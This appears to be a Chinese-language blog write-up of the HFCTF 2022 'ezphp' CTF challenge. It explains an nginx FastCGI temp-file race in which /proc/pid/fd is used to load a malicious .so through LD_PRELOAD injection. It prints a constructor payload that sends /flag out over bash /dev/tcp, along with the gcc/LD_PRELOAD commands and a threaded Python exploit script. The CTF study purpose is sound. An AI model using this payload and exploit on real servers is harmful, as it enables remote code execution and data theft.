好久没更过博客,因为一直在补JAVA. 有空了就复现下今年的HF。
Nginx-Fastcgi 缓存文件
脚本编写遍历pid,fd
这题 有个putenv 猜测大概流程就是加载恶意的 so 进行反弹shell
此题的考点是 NGINX 在后端 fastcgi 相应过大 或者 请求正文 body 过大时,会产生临时文件。
如果一个进程打开了某个文件,某个文件就会出现在 /proc/pid/fd/目录下,我们的思路就是通过重复发过大的恶意so文件造成缓存,然后他会存在这个目录下,再使用LD_PRELOAD去加载链接库。
LD_PRELOAD加载so:
这个问题太经典 就不说了
#include
#include
__attribute__ ((constructor)) void call ()
{
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'cat /flag' > /dev/tcp/pvs/port");
system("cat /flag > /var/www/html/flag");
}
gcc -shared -fPIC /test/hack.c -o hack.so -ldl
export LD_PRELOAD=/test/hack.so
exp:
import threading , requests,time
url = f"http://590fbd75-ed0a-4034-b216-087a5dba05bb.node4.buuoj.cn:81/"
flag = ""
nginx_workers= [12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27]
def upload(): #上传 so 文件 且 Fastcgi 返回响应包过大,导致 Nginx 需要产生临时文件进行缓存
print("[+] starting upload")
while True:
requests.get(url,data=open("exp.so","rb").read() + (16*1024* "A").encode())
print(flag)
for q in range(16):
t = threading.Thread(target=upload).start()
time.sleep(0.5)
def bruter(pid): #遍历 pid 下的 fd ,修改LD_PRELOAD
while True:
time.sleep(10)
print(f"[+ ] brust restart {pid}")
for fd in (4,32):
f = f'/proc/{pid}/fd/{fd}'
print(f)
try:
r = requests.get(url,params={'env':'LD_PRELOAD=' + f,}) #加载 恶意的exp.so
print(r.text)
except Exception:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, )).start()
打不通 因为一直爆429 没办法 ,只好放弃。
当Nginx的fastcgui接收到的响应大小超过32Kb就会在/var/lib/nginx/fastcgi
产生一个存放相应内容的临时文件, 但其实这个过程可以说是稍纵即逝,文件创建到删除的窗口期根本不足以让我们及时的就行文件加载, 这时候就用到了记录进程信息的文件夹/proc/pid/fd
。 在Linux上,在一个进程中打开的文件描述符集可以在/proc/PID/fd/路径下访问,其中PID是进程标识符。
在这里面存放有进程打开的全部资源文件的软链接, 最重要的是即使临时文件被删除了也还是一样可以被正常读取(条件竞争)
所以我们就可以将临时文件上传控制为我们的恶意so文件, 然后设置payload为
?env=LD_PRELOAD=/proc/pid/fd/file_id
利用条件竞争去加载so,之后的echo命令 就会加载我们的恶意so文件
/var/lib/nginx/fastcgi
下的临时文件,但是在 /proc/pid/fd/
下我们可以找到被删除的文件那么有个问题,那我们是不是得遍历 PID 再遍历FD? 是的,只能利用脚本建立多一些的线程,(看个人电脑的上限), 让包含文件的进程阶梯式的扫描完每组的pid(例如20个线程则每组pid数为20,先扫了1-20然后扫21-40一次递增)。因为一般在fd中的文件号不会超过70, 每组我们需要跑1400(20*70)次, 这个对于计算机并没有太大压力, 。
此外, 对于题目环境的docker来说, 打开的服务并不会很多, 所以pid也不会很大, 一般情况下例如我建立的docker中处理请求的Nginx Worker
pid一直是二百多, 所以即使是从0开始逐渐遍历那也只需要跑300*70*20次, 这段时间的等待对我们来说还是可以接受的。
如果想要直接进入自己的docker找到处理请求的Nginx Worker
, 就需要找到/proc/pid/cmdline
文件内容为 nginx: worker process
的进程, 一个Nginx服务默认只有一个Nginx Worker
所以也就不难找了
实际上除了 /var/lib/nginx/fastcgi 会新建临时文件缓存数据外,在/var/lib/nginx/body 下也建立存放 请求数据的临时文件,文件的格式为 : /client_body_temp/xxxxxxxxxx (前面的为0 ,后面的数字例如 0000000001.
但是这个临时文件保存是否会执行也是有一定的限制的, 这个限制就是上文要保留临时文件的第一种情况: client_body_in_file_only 配置开启, 这个配置的说明为 Determines whether nginx should save the entire client request body into a file
(决定nginx是否应该将整个客户端请求正文保存到一个文件中), 但很可惜在默认下它是Off。
受益匪浅。
HFCTF2022 Web ezphp_Sk1y的博客-CSDN博客
我是如何利用环境变量注入执行任意命令 - 跳跳糖 (tttang.com)
2022 虎符CTF Writeup by 唯独你没懂
HFCTF 2022-EZPHP - h0cksr - 博客园 (cnblogs.com)